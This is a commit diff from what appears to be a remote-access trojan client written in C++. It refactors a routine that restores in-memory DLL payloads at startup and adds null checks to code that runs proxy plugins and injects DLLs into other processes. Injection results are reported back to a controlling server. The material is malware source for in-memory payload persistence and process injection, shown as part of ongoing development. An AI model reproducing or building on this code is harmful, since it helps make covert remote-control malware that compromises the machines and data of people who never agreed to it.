Fix: Restore memory DLL at client program startup
This commit is contained in:
@@ -81,11 +81,6 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
|
||||
m_hKeyboard = kb;
|
||||
// C2C 初始化
|
||||
if (conn) m_MyClientID = conn->clientID;
|
||||
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
|
||||
static int n = RestoreMemDLL();
|
||||
if (n) {
|
||||
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
||||
@@ -281,10 +276,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
}
|
||||
else {
|
||||
else if (This){
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r || (time(0)-start < 15)) {
|
||||
if (This && (r || (time(0)-start < 15))) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
@@ -305,10 +300,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
}
|
||||
else {
|
||||
else if (This){
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r || (time(0)-start < 15)) {
|
||||
if (This && (r || (time(0)-start < 15))) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
@@ -332,7 +327,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("代码注入", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
if (This)This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
SAFE_DELETE(dll);
|
||||
SAFE_DELETE(runner);
|
||||
@@ -649,8 +644,9 @@ std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHa
|
||||
return "";
|
||||
}
|
||||
|
||||
int CKernelManager::RestoreMemDLL() {
|
||||
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile *m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This) {
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||
|
||||
// 枚举所有以 .md5 结尾的值名称
|
||||
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
||||
@@ -708,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
|
||||
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
|
||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
|
||||
BYTE* data = m_MemDLL[md5].data();
|
||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
|
||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, This), 0, NULL));
|
||||
|
||||
// 更新注册表中的运行时状态
|
||||
// 如果有时间间隔限制,更新 LastRunTime
|
||||
@@ -728,7 +724,7 @@ int CKernelManager::RestoreMemDLL() {
|
||||
}
|
||||
}
|
||||
|
||||
return count;
|
||||
return m_MemDLL;
|
||||
}
|
||||
|
||||
template<typename T = DllExecuteInfo>
|
||||
|
||||
Reference in New Issue
Block a user